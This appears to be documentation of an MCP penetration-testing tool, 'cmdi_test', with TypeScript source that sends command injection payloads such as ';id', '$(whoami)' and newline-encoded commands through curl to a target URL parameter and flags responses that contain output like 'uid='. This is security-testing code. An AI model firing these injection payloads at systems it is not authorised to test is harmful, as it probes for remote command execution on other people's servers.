operant-mcp

Instructions

Implementation Reference

• src/tools/cmdi.ts:22-97 (handler)

  The handler function for the 'cmdi_test' tool. It executes command injection tests using common shell operators and detection commands.

  async ({ url, parameter, base_value = "1", method = "POST", operators }) => {
    requireTool("curl");
  
    const defaultOperators = [";", "&&", "||", "|", "`", "$()", "%0a"];
    const testOperators = operators ?? defaultOperators;
  
    const detectionCommands: Record<string, string[]> = {
      ";": [`${base_value};id`, `${base_value};whoami`],
      "&&": [`${base_value}&&id`, `${base_value}&&whoami`],
      "||": [`${base_value}||id`, `invalid||whoami`],
      "|": [`${base_value}|id`, `${base_value}|whoami`],
      "`": [`${base_value}\`id\``, `${base_value}\`whoami\``],
      "$()": [`${base_value}$(id)`, `${base_value}$(whoami)`],
      "%0a": [`${base_value}%0aid`, `${base_value}%0awhoami`],
    };
  
    const results = [];
    for (const op of testOperators) {
      if (!(op in detectionCommands)) {
        continue;
      }
      for (const payload of detectionCommands[op]) {
        let curlArgs: string[];
        if (method === "GET") {
          curlArgs = [
            "-sk",
            "-o", "-",
            "-w", "\n__STATUS__%{http_code}",
            `${url}?${parameter}=${payload}`,
          ];
        } else {
          curlArgs = [
            "-sk",
            "-o", "-",
            "-w", "\n__STATUS__%{http_code}",
            "-X", "POST",
            "-d", `${parameter}=${payload}`,
            url,
          ];
        }
  
        const res = await runCmd("curl", curlArgs);
        let body = res.stdout;
        const statusMarker = body.lastIndexOf("__STATUS__");
        let status = 0;
        if (statusMarker !== -1) {
          try {
            status = parseInt(body.slice(statusMarker + 10).trim(), 10);
          } catch {
            // leave status as 0
          }
          body = body.slice(0, statusMarker);
        }
  
        // Check for command output indicators
        const indicators = ["uid=", "gid=", "root", "www-data", "nobody", "apache", "nginx"];
        const likely = indicators.some((ind) => body.toLowerCase().includes(ind));
  
        results.push({
          operator: op,
          payload,
          status,
          output_snippet: body.slice(0, 300),
          likely_vulnerable: likely,
        });
      }
    }
  
    const vulnerableOps = [...new Set(results.filter((r) => r.likely_vulnerable).map((r) => r.operator))];
    const result = {
      results,
      vulnerable_operators: vulnerableOps,
      vulnerable: vulnerableOps.length > 0,
    };
    return { content: [{ type: "text" as const, text: JSON.stringify(result, null, 2) }] };
  }

• src/tools/cmdi.ts:12-21 (registration)

  The registration of the 'cmdi_test' tool.

  server.tool(
    "cmdi_test",
    "Test command injection using various shell operators. Tests ;, &&, ||, |, backtick, $(), and %0a (newline) operators with 'id' and 'whoami' as detection commands. Returns results array with operator, payload, status, output_snippet, likely_vulnerable. Side effects: Read-only detection commands (id, whoami). Sends ~14 requests.",
    {
      url: z.string().describe("Target URL that processes the parameter server-side"),
      parameter: z.string().describe("Vulnerable parameter name, e.g. 'storeId'"),
      base_value: z.string().optional().describe("Legitimate value for the parameter, e.g. '1'"),
      method: z.enum(["GET", "POST"]).optional().describe("HTTP method"),
      operators: z.array(z.string()).optional().describe("Injection operators to test. Default: all common operators."),
    },